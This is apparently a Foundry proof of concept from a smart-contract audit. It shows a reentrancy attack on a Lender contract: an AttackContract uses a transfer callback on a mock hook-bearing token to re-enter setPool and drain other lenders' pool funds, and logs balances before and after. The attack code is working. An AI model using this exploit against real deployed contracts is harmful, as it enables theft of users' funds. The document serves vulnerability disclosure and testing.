pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
contract AttackContract is IERC20WithCallback
{
address public lender;
address public token;
address public collateral;
Pool p;
bytes32 public pId;
uint256 amountReceived;
event receivedAmt(address, uint256);
event remaining(uint256);
function setup(address _lender, address _token, address _collateral, Pool calldata _p, bytes32 _poolId) public {
lender = _lender;
token = _token;
collateral = _collateral;
p = _p;
pId = _poolId;
}
function createPool() public {
Lender(lender).setPool(p);
}
function beforeTokenTransfer(address to, uint256 amount) external {
amountReceived += amount;
uint256 balance = ERC777(token).balanceOf(lender);
if (balance >= amountReceived && balance - amountReceived > 0) {
Lender(lender).setPool(p);
}
}
}
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import "../../src/utils/Structs.sol";
import {AttackContract, TERC20, ERC777} from "./mock/AttackMock.sol";
contract LenderReenterncy is Test {
AttackContract attackContract = new AttackContract();
address attackAddress= address(attackContract);
address attacker = address(0x1);
Lender public lender;
ERC777 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x2);
address public lender2 = address(0x3);
bytes32 public pool_1;
bytes32 public pool_2;
bytes32 public pool_3;
function setUp() public {
lender = new Lender();
loanToken = new ERC777();
collateralToken = new TERC20();
loanToken.mint(attackAddress, 100000 * 1e18);
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attackAddress);
loanToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
Pool memory p1 = Pool({
lender: attackAddress,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.startPrank(attackAddress);
pool_1 = lender.setPool(p1);
vm.stopPrank();
Pool memory p2 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.startPrank(lender1);
pool_2 = lender.setPool(p2);
vm.stopPrank();
Pool memory p3 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.startPrank(lender2);
pool_3 = lender.setPool(p3);
vm.stopPrank();
Pool memory p4 = Pool({
lender: attackAddress,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
attackContract.setup(address(lender), address(loanToken), address(collateralToken), p4, pool_1);
}
function test_reentrancy() public {
emit log_string("Before attack");
emit log_named_decimal_uint("Contract Balance: ", ERC777(loanToken).balanceOf(address(lender)), 18);
(,,,,uint256 poolBalance1,,,,) = lender.pools(pool_1);
emit log_named_decimal_uint("Attacker Pool Balance: ", poolBalance1, 18);
(,,,,uint256 poolBalance2,,,,) = lender.pools(pool_2);
emit log_named_decimal_uint("Pool3 Balance: ", poolBalance2, 18);
(,,,,uint256 poolBalance3,,,,) = lender.pools(pool_3);
emit log_named_decimal_uint("Pool4 Balance: ", poolBalance3, 18);
emit log_named_decimal_uint("Attacker tkn balance: ", loanToken.balanceOf(attackAddress), 18);
attackContract.createPool();
emit log_string("After attack");
emit log_named_decimal_uint("Contract Balance: ", ERC777(loanToken).balanceOf(address(lender)), 18);
(,,,,uint256 poolBalance4,,,,) = lender.pools(pool_1);
emit log_named_decimal_uint("Attacker Pool Balance: ", poolBalance4, 18);
(,,,,uint256 poolBalance5,,,,) = lender.pools(pool_2);
emit log_named_decimal_uint("Pool2 Balance: ", poolBalance5, 18);
(,,,,uint256 poolBalance6,,,,) = lender.pools(pool_3);
emit log_named_decimal_uint("Pool3 Balance: ", poolBalance6, 18);
emit log_named_decimal_uint("Attacker tkn balance: ", loanToken.balanceOf(attackAddress), 18);
}
}
Loss of funds and made other pools inaccessible.